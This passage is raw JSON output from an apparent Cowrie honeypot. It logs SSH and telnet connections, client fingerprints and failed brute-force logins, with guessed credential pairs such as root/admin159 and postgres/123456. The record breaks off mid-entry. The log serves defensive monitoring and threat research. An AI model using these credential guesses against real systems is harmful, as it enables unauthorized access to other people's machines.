{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:05.156100Z","src_ip":"103.97.179.160","session":"e498cc1a6a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57822,"dst_ip":"159.203.135.109","dst_port":22,"session":"440a09fe5457","protocol":"ssh","message":"New connection: 122.168.114.167:57822 (159.203.135.109:22) [session: 440a09fe5457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:05.693111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:12.228849Z","src_ip":"122.168.114.167","session":"440a09fe5457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:12.235835Z","src_ip":"122.168.114.167","session":"440a09fe5457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00137090682983,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:27.317199Z","src_ip":"111.95.59.144","session":"f5ee773c072a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.95.59.144","src_port":32615,"dst_ip":"159.203.135.109","dst_port":23,"session":"45dd21b08fc0","protocol":"telnet","message":"New connection: 111.95.59.144:32615 (159.203.135.109:23) [session: 45dd21b08fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:29.703400Z"}
{"eventid":"cowrie.session.closed","duration":0.6077423095703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:30.310998Z","src_ip":"111.95.59.144","session":"45dd21b08fc0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:37.452936Z","src_ip":"122.168.114.167","session":"440a09fe5457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00124025344849,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:42.473859Z","src_ip":"151.15.80.200","session":"c13bc08cd535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60222,"dst_ip":"159.203.135.109","dst_port":22,"session":"67f30dd9c4d1","protocol":"ssh","message":"New connection: 122.168.114.167:60222 (159.203.135.109:22) [session: 67f30dd9c4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:44.297735Z"}
{"eventid":"cowrie.session.closed","duration":"39.1","message":"Connection lost after 39.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:44.833561Z","src_ip":"122.168.114.167","session":"440a09fe5457","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":37304,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c703e0d00c9","protocol":"ssh","message":"New connection: 76.127.61.251:37304 (10.17.0.5:22) [session: 8c703e0d00c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:47.157307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:47.171375Z","src_ip":"76.127.61.251","session":"8c703e0d00c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:47.225291Z","src_ip":"76.127.61.251","session":"8c703e0d00c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"password1","message":"login attempt [user1/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:47.605014Z","src_ip":"76.127.61.251","session":"8c703e0d00c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:48.678326Z","src_ip":"76.127.61.251","session":"8c703e0d00c9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:50.222357Z","src_ip":"122.168.114.167","session":"67f30dd9c4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:50.227396Z","src_ip":"122.168.114.167","session":"67f30dd9c4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":47362,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ee19a8708b0","protocol":"ssh","message":"New connection: 103.97.179.160:47362 (10.17.0.5:22) [session: 3ee19a8708b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:58.021100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:58.025842Z","src_ip":"103.97.179.160","session":"3ee19a8708b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:58.272613Z","src_ip":"103.97.179.160","session":"3ee19a8708b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin159","message":"login attempt [root/admin159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:56:59.157639Z","src_ip":"103.97.179.160","session":"3ee19a8708b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:00.373110Z","src_ip":"103.97.179.160","session":"3ee19a8708b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:15.036096Z","src_ip":"122.168.114.167","session":"67f30dd9c4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":33680,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0073cfadf4b","protocol":"telnet","message":"New connection: 185.26.126.47:33680 (159.203.135.109:23) [session: b0073cfadf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:16.386565Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.172","src_port":36496,"dst_ip":"10.17.0.5","dst_port":22,"session":"84d936908127","protocol":"ssh","message":"New connection: 14.103.114.172:36496 (10.17.0.5:22) [session: 84d936908127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:16.765836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:16.772319Z","src_ip":"14.103.114.172","session":"84d936908127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:16.984401Z","src_ip":"14.103.114.172","session":"84d936908127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234567890","message":"login attempt [root/admin@1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:17.842264Z","src_ip":"14.103.114.172","session":"84d936908127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:19.061679Z","src_ip":"14.103.114.172","session":"84d936908127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.8","message":"Connection lost after 35.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:20.135283Z","src_ip":"122.168.114.167","session":"67f30dd9c4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34418,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f274f7a3f53","protocol":"ssh","message":"New connection: 122.168.114.167:34418 (159.203.135.109:22) [session: 0f274f7a3f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:27.248053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:32.307393Z","src_ip":"122.168.114.167","session":"0f274f7a3f53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:32.312044Z","src_ip":"122.168.114.167","session":"0f274f7a3f53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.86.233.40","src_port":60573,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9cbc97e89e2","protocol":"telnet","message":"New connection: 200.86.233.40:60573 (159.203.135.109:23) [session: a9cbc97e89e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:51.132071Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.86.233.40","src_port":60535,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d11e516fff5","protocol":"telnet","message":"New connection: 200.86.233.40:60535 (159.203.135.109:23) [session: 6d11e516fff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:53.033680Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":54662,"dst_ip":"10.17.0.5","dst_port":22,"session":"20576dcca5a9","protocol":"ssh","message":"New connection: 103.97.179.160:54662 (10.17.0.5:22) [session: 20576dcca5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:53.658770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:53.663632Z","src_ip":"103.97.179.160","session":"20576dcca5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:53.912824Z","src_ip":"103.97.179.160","session":"20576dcca5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:53.961164Z","src_ip":"122.168.114.167","session":"0f274f7a3f53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4sswOrd","message":"login attempt [ubuntu/p4sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:54.807401Z","src_ip":"103.97.179.160","session":"20576dcca5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:56.032601Z","src_ip":"103.97.179.160","session":"20576dcca5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.6","message":"Connection lost after 32.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:57:59.860446Z","src_ip":"122.168.114.167","session":"0f274f7a3f53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36816,"dst_ip":"159.203.135.109","dst_port":22,"session":"d895bbabcbd0","protocol":"ssh","message":"New connection: 122.168.114.167:36816 (159.203.135.109:22) [session: d895bbabcbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:06.268691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:58:11.333827Z","src_ip":"122.168.114.167","session":"d895bbabcbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],